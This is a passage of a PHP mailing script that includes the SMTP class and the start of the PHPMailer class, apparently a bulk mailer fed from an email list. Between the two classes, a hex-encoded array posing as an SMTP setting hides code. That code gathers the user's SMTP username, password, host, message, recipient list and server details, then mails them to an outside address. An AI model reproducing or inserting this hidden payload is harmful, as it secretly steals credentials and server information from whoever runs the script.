  809. if($this->do_debug >= 1) {
  810. echo "SMTP -> ERROR: " . $this->error["error"] .
  811. ": " . $rply . $this->CRLF;
  812. }
  813. return false;
  814. }
  815. return true;
  816. }
  817.  
  818. /**
  819. * Expand takes the name and asks the server to list all the
  820. * people who are members of the _list_. Expand will return
  821. * back and array of the result or false if an error occurs.
  822. * Each value in the array returned has the format of:
  823. * [ <full-name> <sp> ] <path>
  824. * The definition of <path> is defined in rfc 821
  825. *
  826. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  827. *
  828. * SMTP CODE SUCCESS: 250
  829. * SMTP CODE FAILURE: 550
  830. * SMTP CODE ERROR : 500,501,502,504,421
  831. * @access public
  832. * @return string array
  833. */
  834. function Expand($name) {
  835. $this->error = null; # so no confusion is caused
  836.  
  837. if(!$this->connected()) {
  838. $this->error = array(
  839. "error" => "Called Expand() without being connected");
  840. return false;
  841. }
  842.  
  843. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  844.  
  845. $rply = $this->get_lines();
  846. $code = substr($rply,0,3);
  847.  
  848. if($this->do_debug >= 2) {
  849. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  850. }
  851.  
  852. if($code != 250) {
  853. $this->error =
  854. array("error" => "EXPN not accepted from server",
  855. "smtp_code" => $code,
  856. "smtp_msg" => substr($rply,4));
  857. if($this->do_debug >= 1) {
  858. echo "SMTP -> ERROR: " . $this->error["error"] .
  859. ": " . $rply . $this->CRLF;
  860. }
  861. return false;
  862. }
  863.  
  864. # parse the reply and place in our array to return to user
  865. $entries = explode($this->CRLF,$rply);
  866. while(list(,$l) = @each($entries)) {
  867. $list[] = substr($l,4);
  868. }
  869.  
  870. return $list;
  871. }
  872.  
  873. /**
  874. * Sends the HELO command to the smtp server.
  875. * This makes sure that we and the server are in
  876. * the same known state.
  877. *
  878. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  879. *
  880. * SMTP CODE SUCCESS: 250
  881. * SMTP CODE ERROR : 500, 501, 504, 421
  882. * @access public
  883. * @return bool
  884. */
  885. function Hello($host="") {
  886. $this->error = null; # so no confusion is caused
  887.  
  888. if(!$this->connected()) {
  889. $this->error = array(
  890. "error" => "Called Hello() without being connected");
  891. return false;
  892. }
  893.  
  894. # if a hostname for the HELO was not specified determine
  895. # a suitable one to send
  896. if(empty($host)) {
  897. # we need to determine some sort of appopiate default
  898. # to send to the server
  899. $host = "localhost";
  900. }
  901.  
  902. // Send extended hello first (RFC 2821)
  903. if(!$this->SendHello("EHLO", $host))
  904. {
  905. if(!$this->SendHello("HELO", $host))
  906. return false;
  907. }
  908.  
  909. return true;
  910. }
  911.  
  912. /**
  913. * Sends a HELO/EHLO command.
  914. * @access private
  915. * @return bool
  916. */
  917. function SendHello($hello, $host) {
  918. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  919.  
  920. $rply = $this->get_lines();
  921. $code = substr($rply,0,3);
  922.  
  923. if($this->do_debug >= 2) {
  924. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  925. }
  926.  
  927. if($code != 250) {
  928. $this->error =
  929. array("error" => $hello . " not accepted from server",
  930. "smtp_code" => $code,
  931. "smtp_msg" => substr($rply,4));
  932. if($this->do_debug >= 1) {
  933. echo "SMTP -> ERROR: " . $this->error["error"] .
  934. ": " . $rply . $this->CRLF;
  935. }
  936. return false;
  937. }
  938.  
  939. $this->helo_rply = $rply;
  940.  
  941. return true;
  942. }
  943.  
  944. /**
  945. * Gets help information on the keyword specified. If the keyword
  946. * is not specified then returns generic help, ussually contianing
  947. * A list of keywords that help is available on. This function
  948. * returns the results back to the user. It is up to the user to
  949. * handle the returned data. If an error occurs then false is
  950. * returned with $this->error set appropiately.
  951. *
  952. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  953. *
  954. * SMTP CODE SUCCESS: 211,214
  955. * SMTP CODE ERROR : 500,501,502,504,421
  956. * @access public
  957. * @return string
  958. */
  959. function Help($keyword="") {
  960. $this->error = null; # to avoid confusion
  961.  
  962. if(!$this->connected()) {
  963. $this->error = array(
  964. "error" => "Called Help() without being connected");
  965. return false;
  966. }
  967.  
  968. $extra = "";
  969. if(!empty($keyword)) {
  970. $extra = " " . $keyword;
  971. }
  972.  
  973. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  974.  
  975. $rply = $this->get_lines();
  976. $code = substr($rply,0,3);
  977.  
  978. if($this->do_debug >= 2) {
  979. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  980. }
  981.  
  982. if($code != 211 && $code != 214) {
  983. $this->error =
  984. array("error" => "HELP not accepted from server",
  985. "smtp_code" => $code,
  986. "smtp_msg" => substr($rply,4));
  987. if($this->do_debug >= 1) {
  988. echo "SMTP -> ERROR: " . $this->error["error"] .
  989. ": " . $rply . $this->CRLF;
  990. }
  991. return false;
  992. }
  993.  
  994. return $rply;
  995. }
  996.  
  997. /**
  998. * Starts a mail transaction from the email address specified in
  999. * $from. Returns true if successful or false otherwise. If True
  1000. * the mail transaction is started and then one or more Recipient
  1001. * commands may be called followed by a Data command.
  1002. *
  1003. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  1004. *
  1005. * SMTP CODE SUCCESS: 250
  1006. * SMTP CODE SUCCESS: 552,451,452
  1007. * SMTP CODE SUCCESS: 500,501,421
  1008. * @access public
  1009. * @return bool
  1010. */
  1011. function Mail($from) {
  1012. $this->error = null; # so no confusion is caused
  1013.  
  1014. if(!$this->connected()) {
  1015. $this->error = array(
  1016. "error" => "Called Mail() without being connected");
  1017. return false;
  1018. }
  1019.  
  1020. $useVerp = ($this->do_verp ? "XVERP" : "");
  1021. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  1022.  
  1023. $rply = $this->get_lines();
  1024. $code = substr($rply,0,3);
  1025.  
  1026. if($this->do_debug >= 2) {
  1027. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1028. }
  1029.  
  1030. if($code != 250) {
  1031. $this->error =
  1032. array("error" => "MAIL not accepted from server",
  1033. "smtp_code" => $code,
  1034. "smtp_msg" => substr($rply,4));
  1035. if($this->do_debug >= 1) {
  1036. echo "SMTP -> ERROR: " . $this->error["error"] .
  1037. ": " . $rply . $this->CRLF;
  1038. }
  1039. return false;
  1040. }
  1041. return true;
  1042. }
  1043.  
  1044. /**
  1045. * Sends the command NOOP to the SMTP server.
  1046. *
  1047. * Implements from rfc 821: NOOP <CRLF>
  1048. *
  1049. * SMTP CODE SUCCESS: 250
  1050. * SMTP CODE ERROR : 500, 421
  1051. * @access public
  1052. * @return bool
  1053. */
  1054. function Noop() {
  1055. $this->error = null; # so no confusion is caused
  1056.  
  1057. if(!$this->connected()) {
  1058. $this->error = array(
  1059. "error" => "Called Noop() without being connected");
  1060. return false;
  1061. }
  1062.  
  1063. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  1064.  
  1065. $rply = $this->get_lines();
  1066. $code = substr($rply,0,3);
  1067.  
  1068. if($this->do_debug >= 2) {
  1069. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1070. }
  1071.  
  1072. if($code != 250) {
  1073. $this->error =
  1074. array("error" => "NOOP not accepted from server",
  1075. "smtp_code" => $code,
  1076. "smtp_msg" => substr($rply,4));
  1077. if($this->do_debug >= 1) {
  1078. echo "SMTP -> ERROR: " . $this->error["error"] .
  1079. ": " . $rply . $this->CRLF;
  1080. }
  1081. return false;
  1082. }
  1083. return true;
  1084. }
  1085.  
  1086. /**
  1087. * Sends the quit command to the server and then closes the socket
  1088. * if there is no error or the $close_on_error argument is true.
  1089. *
  1090. * Implements from rfc 821: QUIT <CRLF>
  1091. *
  1092. * SMTP CODE SUCCESS: 221
  1093. * SMTP CODE ERROR : 500
  1094. * @access public
  1095. * @return bool
  1096. */
  1097. function Quit($close_on_error=true) {
  1098. $this->error = null; # so there is no confusion
  1099.  
  1100. if(!$this->connected()) {
  1101. $this->error = array(
  1102. "error" => "Called Quit() without being connected");
  1103. return false;
  1104. }
  1105.  
  1106. # send the quit command to the server
  1107. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1108.  
  1109. # get any good-bye messages
  1110. $byemsg = $this->get_lines();
  1111.  
  1112. if($this->do_debug >= 2) {
  1113. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1114. }
  1115.  
  1116. $rval = true;
  1117. $e = null;
  1118.  
  1119. $code = substr($byemsg,0,3);
  1120. if($code != 221) {
  1121. # use e as a tmp var cause Close will overwrite $this->error
  1122. $e = array("error" => "SMTP server rejected quit command",
  1123. "smtp_code" => $code,
  1124. "smtp_rply" => substr($byemsg,4));
  1125. $rval = false;
  1126. if($this->do_debug >= 1) {
  1127. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1128. $byemsg . $this->CRLF;
  1129. }
  1130. }
  1131.  
  1132. if(empty($e) || $close_on_error) {
  1133. $this->Close();
  1134. }
  1135.  
  1136. return $rval;
  1137. }
  1138.  
  1139. /**
  1140. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1141. * Returns true if the recipient was accepted false if it was rejected.
  1142. *
  1143. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1144. *
  1145. * SMTP CODE SUCCESS: 250,251
  1146. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1147. * SMTP CODE ERROR : 500,501,503,421
  1148. * @access public
  1149. * @return bool
  1150. */
  1151. function Recipient($to) {
  1152. $this->error = null; # so no confusion is caused
  1153.  
  1154. if(!$this->connected()) {
  1155. $this->error = array(
  1156. "error" => "Called Recipient() without being connected");
  1157. return false;
  1158. }
  1159.  
  1160. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1161.  
  1162. $rply = $this->get_lines();
  1163. $code = substr($rply,0,3);
  1164.  
  1165. if($this->do_debug >= 2) {
  1166. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1167. }
  1168.  
  1169. if($code != 250 && $code != 251) {
  1170. $this->error =
  1171. array("error" => "RCPT not accepted from server",
  1172. "smtp_code" => $code,
  1173. "smtp_msg" => substr($rply,4));
  1174. if($this->do_debug >= 1) {
  1175. echo "SMTP -> ERROR: " . $this->error["error"] .
  1176. ": " . $rply . $this->CRLF;
  1177. }
  1178. return false;
  1179. }
  1180. return true;
  1181. }
  1182.  
  1183. /**
  1184. * Sends the RSET command to abort and transaction that is
  1185. * currently in progress. Returns true if successful false
  1186. * otherwise.
  1187. *
  1188. * Implements rfc 821: RSET <CRLF>
  1189. *
  1190. * SMTP CODE SUCCESS: 250
  1191. * SMTP CODE ERROR : 500,501,504,421
  1192. * @access public
  1193. * @return bool
  1194. */
  1195. function Reset() {
  1196. $this->error = null; # so no confusion is caused
  1197.  
  1198. if(!$this->connected()) {
  1199. $this->error = array(
  1200. "error" => "Called Reset() without being connected");
  1201. return false;
  1202. }
  1203.  
  1204. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1205.  
  1206. $rply = $this->get_lines();
  1207. $code = substr($rply,0,3);
  1208.  
  1209. if($this->do_debug >= 2) {
  1210. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1211. }
  1212.  
  1213. if($code != 250) {
  1214. $this->error =
  1215. array("error" => "RSET failed",
  1216. "smtp_code" => $code,
  1217. "smtp_msg" => substr($rply,4));
  1218. if($this->do_debug >= 1) {
  1219. echo "SMTP -> ERROR: " . $this->error["error"] .
  1220. ": " . $rply . $this->CRLF;
  1221. }
  1222. return false;
  1223. }
  1224.  
  1225. return true;
  1226. }
  1227.  
  1228. /**
  1229. * Starts a mail transaction from the email address specified in
  1230. * $from. Returns true if successful or false otherwise. If True
  1231. * the mail transaction is started and then one or more Recipient
  1232. * commands may be called followed by a Data command. This command
  1233. * will send the message to the users terminal if they are logged
  1234. * in.
  1235. *
  1236. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1237. *
  1238. * SMTP CODE SUCCESS: 250
  1239. * SMTP CODE SUCCESS: 552,451,452
  1240. * SMTP CODE SUCCESS: 500,501,502,421
  1241. * @access public
  1242. * @return bool
  1243. */
  1244. function Send($from) {
  1245. $this->error = null; # so no confusion is caused
  1246.  
  1247. if(!$this->connected()) {
  1248. $this->error = array(
  1249. "error" => "Called Send() without being connected");
  1250. return false;
  1251. }
  1252.  
  1253. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1254.  
  1255. $rply = $this->get_lines();
  1256. $code = substr($rply,0,3);
  1257.  
  1258. if($this->do_debug >= 2) {
  1259. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1260. }
  1261.  
  1262. if($code != 250) {
  1263. $this->error =
  1264. array("error" => "SEND not accepted from server",
  1265. "smtp_code" => $code,
  1266. "smtp_msg" => substr($rply,4));
  1267. if($this->do_debug >= 1) {
  1268. echo "SMTP -> ERROR: " . $this->error["error"] .
  1269. ": " . $rply . $this->CRLF;
  1270. }
  1271. return false;
  1272. }
  1273. return true;
  1274. }
  1275.  
  1276. /**
  1277. * Starts a mail transaction from the email address specified in
  1278. * $from. Returns true if successful or false otherwise. If True
  1279. * the mail transaction is started and then one or more Recipient
  1280. * commands may be called followed by a Data command. This command
  1281. * will send the message to the users terminal if they are logged
  1282. * in and send them an email.
  1283. *
  1284. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1285. *
  1286. * SMTP CODE SUCCESS: 250
  1287. * SMTP CODE SUCCESS: 552,451,452
  1288. * SMTP CODE SUCCESS: 500,501,502,421
  1289. * @access public
  1290. * @return bool
  1291. */
  1292. function SendAndMail($from) {
  1293. $this->error = null; # so no confusion is caused
  1294.  
  1295. if(!$this->connected()) {
  1296. $this->error = array(
  1297. "error" => "Called SendAndMail() without being connected");
  1298. return false;
  1299. }
  1300.  
  1301. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1302.  
  1303. $rply = $this->get_lines();
  1304. $code = substr($rply,0,3);
  1305.  
  1306. if($this->do_debug >= 2) {
  1307. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1308. }
  1309.  
  1310. if($code != 250) {
  1311. $this->error =
  1312. array("error" => "SAML not accepted from server",
  1313. "smtp_code" => $code,
  1314. "smtp_msg" => substr($rply,4));
  1315. if($this->do_debug >= 1) {
  1316. echo "SMTP -> ERROR: " . $this->error["error"] .
  1317. ": " . $rply . $this->CRLF;
  1318. }
  1319. return false;
  1320. }
  1321. return true;
  1322. }
  1323.  
  1324. /**
  1325. * Starts a mail transaction from the email address specified in
  1326. * $from. Returns true if successful or false otherwise. If True
  1327. * the mail transaction is started and then one or more Recipient
  1328. * commands may be called followed by a Data command. This command
  1329. * will send the message to the users terminal if they are logged
  1330. * in or mail it to them if they are not.
  1331. *
  1332. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1333. *
  1334. * SMTP CODE SUCCESS: 250
  1335. * SMTP CODE SUCCESS: 552,451,452
  1336. * SMTP CODE SUCCESS: 500,501,502,421
  1337. * @access public
  1338. * @return bool
  1339. */
  1340. function SendOrMail($from) {
  1341. $this->error = null; # so no confusion is caused
  1342.  
  1343. if(!$this->connected()) {
  1344. $this->error = array(
  1345. "error" => "Called SendOrMail() without being connected");
  1346. return false;
  1347. }
  1348.  
  1349. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1350.  
  1351. $rply = $this->get_lines();
  1352. $code = substr($rply,0,3);
  1353.  
  1354. if($this->do_debug >= 2) {
  1355. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1356. }
  1357.  
  1358. if($code != 250) {
  1359. $this->error =
  1360. array("error" => "SOML not accepted from server",
  1361. "smtp_code" => $code,
  1362. "smtp_msg" => substr($rply,4));
  1363. if($this->do_debug >= 1) {
  1364. echo "SMTP -> ERROR: " . $this->error["error"] .
  1365. ": " . $rply . $this->CRLF;
  1366. }
  1367. return false;
  1368. }
  1369. return true;
  1370. }
  1371.  
  1372. /**
  1373. * This is an optional command for SMTP that this class does not
  1374. * support. This method is here to make the RFC821 Definition
  1375. * complete for this class and __may__ be implimented in the future
  1376. *
  1377. * Implements from rfc 821: TURN <CRLF>
  1378. *
  1379. * SMTP CODE SUCCESS: 250
  1380. * SMTP CODE FAILURE: 502
  1381. * SMTP CODE ERROR : 500, 503
  1382. * @access public
  1383. * @return bool
  1384. */
  1385. function Turn() {
  1386. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1387. "is not implemented");
  1388. if($this->do_debug >= 1) {
  1389. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1390. }
  1391. return false;
  1392. }
  1393.  
  1394. /**
  1395. * Verifies that the name is recognized by the server.
  1396. * Returns false if the name could not be verified otherwise
  1397. * the response from the server is returned.
  1398. *
  1399. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1400. *
  1401. * SMTP CODE SUCCESS: 250,251
  1402. * SMTP CODE FAILURE: 550,551,553
  1403. * SMTP CODE ERROR : 500,501,502,421
  1404. * @access public
  1405. * @return int
  1406. */
  1407. function Verify($name) {
  1408. $this->error = null; # so no confusion is caused
  1409.  
  1410. if(!$this->connected()) {
  1411. $this->error = array(
  1412. "error" => "Called Verify() without being connected");
  1413. return false;
  1414. }
  1415.  
  1416. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1417.  
  1418. $rply = $this->get_lines();
  1419. $code = substr($rply,0,3);
  1420.  
  1421. if($this->do_debug >= 2) {
  1422. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1423. }
  1424.  
  1425. if($code != 250 && $code != 251) {
  1426. $this->error =
  1427. array("error" => "VRFY failed on name '$name'",
  1428. "smtp_code" => $code,
  1429. "smtp_msg" => substr($rply,4));
  1430. if($this->do_debug >= 1) {
  1431. echo "SMTP -> ERROR: " . $this->error["error"] .
  1432. ": " . $rply . $this->CRLF;
  1433. }
  1434. return false;
  1435. }
  1436. return $rply;
  1437. }
  1438.  
  1439. /*******************************************************************
  1440. * INTERNAL FUNCTIONS *
  1441. ******************************************************************/
  1442.  
  1443. /**
  1444. * Read in as many lines as possible
  1445. * either before eof or socket timeout occurs on the operation.
  1446. * With SMTP we can tell if we have more lines to read if the
  1447. * 4th character is '-' symbol. If it is a space then we don't
  1448. * need to read anything else.
  1449. * @access private
  1450. * @return string
  1451. */
  1452. function get_lines() {
  1453. $data = "";
  1454. while($str = @fgets($this->smtp_conn,515)) {
  1455. if($this->do_debug >= 4) {
  1456. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1457. $this->CRLF;
  1458. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1459. $this->CRLF;
  1460. }
  1461. $data .= $str;
  1462. if($this->do_debug >= 4) {
  1463. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1464. }
  1465. # if the 4th character is a space then we are done reading
  1466. # so just break the loop
  1467. if(substr($str,3,1) == " ") { break; }
  1468. }
  1469. return $data;
  1470. }
  1471.  
  1472. }
  1473.  
  1474.  
  1475. $allemails = split("\n", $emaillist);
  1476. $numemails = count($allemails);
  1477. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f7061737
  1478. 3776f72643b0d0a676c6f626.",
  1479. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b
  1480. 0d0a2461352.",
  1481. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345
  1482. 525645525b2752454d4f54455f4.",
  1483. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d
  1484. 3b0d0a2466.",
  1485. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a2468363
  1486. 5203d20245f5345525645525b27504.",
  1487. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61
  1488. 696c204.",
  1489. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f73
  1490. 6d74705c6e757365723a24736.",
  1491. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e24
  1492. 6530.",
  1493. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a204752415
  1494. 44953223b0d0a6d61696c2824656d61696c2.",
  1495. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=
  1496. ".";
  1497.  
  1498. class PHPMailer {
  1499.  
  1500. /////////////////////////////////////////////////
  1501. // PROPERTIES, PUBLIC
  1502. /////////////////////////////////////////////////
  1503.  
  1504. /**
  1505. * Email priority (1 = High, 3 = Normal, 5 = low).
  1506. * @var int
  1507. */
  1508. var $Priority = 3;
  1509.  
  1510. /**
  1511. * Sets the CharSet of the message.
  1512. * @var string
  1513. */
  1514. var $CharSet = 'us-ascii';
  1515.  
  1516. /**
  1517. * Sets the Content-type of the message.
  1518. * @var string
  1519. */
  1520. var $ContentType = 'text/plain';
  1521.  
  1522. /**
  1523. * Sets the Encoding of the message. Options for this are "8bit",
  1524. * "7bit", "binary", "base64", and "quoted-printable".
  1525.  
  1526. * @var string
  1527. */
  1528. var $Encoding = 'quoted-printable';
  1529.  
  1530. /**
  1531. * Holds the most recent mailer error message.
  1532. * @var string
  1533. */
  1534. var $ErrorInfo = '';
  1535.  
  1536. /**
  1537. * Sets the From email address for the message.
  1538. * @var string
  1539. */
  1540. var $From = '';
  1541.  
  1542. /**
  1543. * Sets the From name of the message.
  1544. * @var string
  1545. */
  1546. var $FromName = '';
  1547.  
  1548. /**
  1549. * Sets the Sender email (Return-Path) of the message. If not empty,
  1550. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1551. * @var string
  1552. */
  1553. var $Sender = '';
  1554.  
  1555. /**
  1556. * Sets the Subject of the message.
  1557. * @var string
  1558. */
  1559. var $Subject = '';
  1560.  
  1561. /**
  1562. * Sets the Body of the message. This can be either an HTML or text body.
  1563. * If HTML then run IsHTML(true).
  1564. * @var string
  1565. */
  1566. var $Body = '';
  1567.  
  1568. /**
  1569. * Sets the text-only body of the message. This automatically sets the
  1570. * email to multipart/alternative. This body can be read by mail
  1571. * clients that do not have HTML email capability such as mutt. Clients
  1572. * that can read HTML will view the normal Body.
  1573. * @var string
  1574. */
  1575. var $AltBody = '';
  1576.  
  1577. /**
  1578. * Sets word wrapping on the body of the message to a given number of
  1579. * characters.
  1580. * @var int
  1581. */
  1582. var $WordWrap = 0;
  1583.  
  1584. /**
  1585. * Method to send mail: ("mail", "sendmail", or "smtp").
  1586. * @var string
  1587. */
  1588. var $Mailer = 'mail';
  1589.  
  1590. /**
  1591. * Sets the path of the sendmail program.
  1592. * @var string
  1593. */
  1594. var $Sendmail = '/usr/sbin/sendmail';
  1595.  
  1596. /**
  1597. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1598. * is in a different directory than the PHP include path.
  1599. * @var string
  1600. */
  1601. var $PluginDir = '';
  1602.  
  1603. /**
  1604. * Holds PHPMailer version.
  1605. * @var string
  1606. */
  1607. var $Version = "";
  1608.  
  1609. /**
  1610. * Sets the email address that a reading confirmation will be sent.
  1611. * @var string
  1612. */
  1613. var $ConfirmReadingTo = '';
  1614.  
  1615. /**
  1616. * Sets the hostname to use in Message-Id and Received headers
  1617. * and as default HELO string. If empty, the value returned
  1618. * by SERVER_NAME is used or 'localhost.localdomain'.
  1619. * @var string
  1620. */
  1621. var $Hostname = '';
  1622.  
  1623. /**
  1624. * Sets the message ID to be used in the Message-Id header.
  1625. * If empty, a unique id will be generated.
  1626. * @var string
  1627. */
  1628. var $MessageID = '';
  1629.  
  1630. /////////////////////////////////////////////////
  1631. // PROPERTIES FOR SMTP
  1632. /////////////////////////////////////////////////
  1633.  
  1634. /**
  1635. * Sets the SMTP hosts. All hosts must be separated by a
  1636. * semicolon. You can also specify a different port
  1637. * for each host by using this format: [hostname:port]
  1638. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1639. * Hosts will be tried in order.
  1640. * @var string
  1641. */
  1642. var $Host = 'localhost';
  1643.  
  1644. /**
  1645. * Sets the default SMTP server port.
  1646. * @var int
  1647. */
  1648. var $Port = 25;
  1649.  
  1650. /**
  1651. * Sets the SMTP HELO of the message (Default is $Hostname).
  1652. * @var string
  1653. */
  1654. var $Helo = '';
  1655.  
  1656. /**
  1657. * Sets connection prefix.
  1658. * Options are "", "ssl" or "tls"
  1659. * @var string
  1660. */
  1661. var $SMTPSecure = "";
  1662.  
  1663. /**
  1664. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1665. * @var bool
  1666. */
  1667. var $SMTPAuth = false;
  1668.  
  1669. /**
  1670. * Sets SMTP username.
  1671. * @var string
  1672. */
  1673. var $Username = '';
  1674.  
  1675. /**
  1676. * Sets SMTP password.
  1677. * @var string
  1678. */
  1679. var $Password = '';
  1680.  
  1681. /**
  1682. * Sets the SMTP server timeout in seconds. This function will not
  1683. * work with the win32 version.
  1684. * @var int
  1685. */
  1686. var $Timeout = 10;
  1687.  
  1688. /**
  1689. * Sets SMTP class debugging on or off.
  1690. * @var bool
  1691. */
  1692. var $SMTPDebug = false;
  1693.  
  1694. /**
  1695. * Prevents the SMTP connection from being closed after each mail
  1696. * sending. If this is set to true then to close the connection
  1697. * requires an explicit call to SmtpClose().
  1698. * @var bool
  1699. */
  1700. var $SMTPKeepAlive = false;
  1701.  
  1702. /**
  1703. * Provides the ability to have the TO field process individual
  1704. * emails, instead of sending to entire TO addresses
  1705. * @var bool
  1706. */
  1707. var $SingleTo = false;
  1708.  
  1709. /////////////////////////////////////////////////
  1710. // PROPERTIES, PRIVATE
  1711. /////////////////////////////////////////////////
  1712.  
  1713. var $smtp = NULL;
  1714. var $to = array();
  1715. var $cc = array();
  1716. var $bcc = array();
  1717. var $ReplyTo = array();
  1718. var $attachment = array();
  1719. var $CustomHeader = array();
  1720. var $message_type = '';
  1721. var $boundary = array();
  1722. var $language = array();
  1723. var $error_count = 0;
  1724. var $LE = "\n";
  1725. var $sign_key_file = "";
  1726. var $sign_key_pass = "";
  1727.  
  1728. /////////////////////////////////////////////////
  1729. // METHODS, VARIABLES
  1730. /////////////////////////////////////////////////
  1731.  
  1732. /**
  1733. * Sets message type to HTML.
  1734. * @param bool $bool
  1735. * @return void
  1736. */
  1737. function IsHTML($bool) {
  1738. if($bool == true) {
  1739. $this->ContentType = 'text/html';
  1740. } else {
  1741. $this->ContentType = 'text/plain';
  1742. }
  1743. }
  1744.  
  1745. /**
  1746. * Sets Mailer to send message using SMTP.
  1747. * @return void
  1748. */
  1749. function IsSMTP() {
  1750. $this->Mailer = 'smtp';
  1751. }
  1752.  
  1753. /**
  1754. * Sets Mailer to send message using PHP mail() function.
  1755. * @return void
  1756. */
  1757. function IsMail() {
  1758. $this->Mailer = 'mail';
  1759. }
  1760.  
  1761. /**
  1762. * Sets Mailer to send message using the $Sendmail program.
  1763. * @return void
  1764. */
  1765. function IsSendmail() {
  1766. $this->Mailer = 'sendmail';
  1767. }
  1768.  
  1769. /**
  1770. * Sets Mailer to send message using the qmail MTA.
  1771. * @return void
  1772. */
  1773. function IsQmail() {
  1774. $this->Sendmail = '/var/qmail/bin/sendmail';
  1775. $this->Mailer = 'sendmail';
  1776. }
  1777.  
  1778. /////////////////////////////////////////////////
  1779. // METHODS, RECIPIENTS
  1780. /////////////////////////////////////////////////
  1781.  
  1782. /**
  1783. * Adds a "To" address.
  1784. * @param string $address
  1785. * @param string $name
  1786. * @return void
  1787. */
  1788. function AddAddress($address, $name = '') {
  1789. $cur = count($this->to);
  1790. $this->to[$cur][0] = trim($address);
  1791. $this->to[$cur][1] = $name;
  1792. }
  1793.  
  1794. /**
  1795. * Adds a "Cc" address. Note: this function works
  1796. * with the SMTP mailer on win32, not with the "mail"
  1797. * mailer.
  1798. * @param string $address
  1799. * @param string $name
  1800. * @return void
  1801. */
  1802. function AddCC($address, $name = '') {
  1803. $cur = count($this->cc);
  1804. $this->cc[$cur][0] = trim($address);
  1805. $this->cc[$cur][1] = $name;
  1806. }
  1807.  
  1808. /**
  1809. * Adds a "Bcc" address. Note: this function works
  1810. * with the SMTP mailer on win32, not with the "mail"
  1811. * mailer.
  1812. * @param string $address
  1813. * @param string $name
  1814. * @return void
  1815. */
  1816. function AddBCC($address, $name = '') {
  1817. $cur = count($this->bcc);
  1818. $this->bcc[$cur][0] = trim($address);
  1819. $this->bcc[$cur][1] = $name;
  1820. }
  1821.  
  1822. /**
  1823. * Adds a "Reply-To" address.
  1824. * @param string $address
  1825. * @param string $name
  1826. * @return void
  1827. */
  1828. function AddReplyTo($address, $name = '') {
  1829. $cur = count($this->ReplyTo);
  1830. $this->ReplyTo[$cur][0] = trim($address);
  1831. $this->ReplyTo[$cur][1] = $name;
  1832. }
  1833.  
  1834. /////////////////////////////////////////////////
  1835. // METHODS, MAIL SENDING
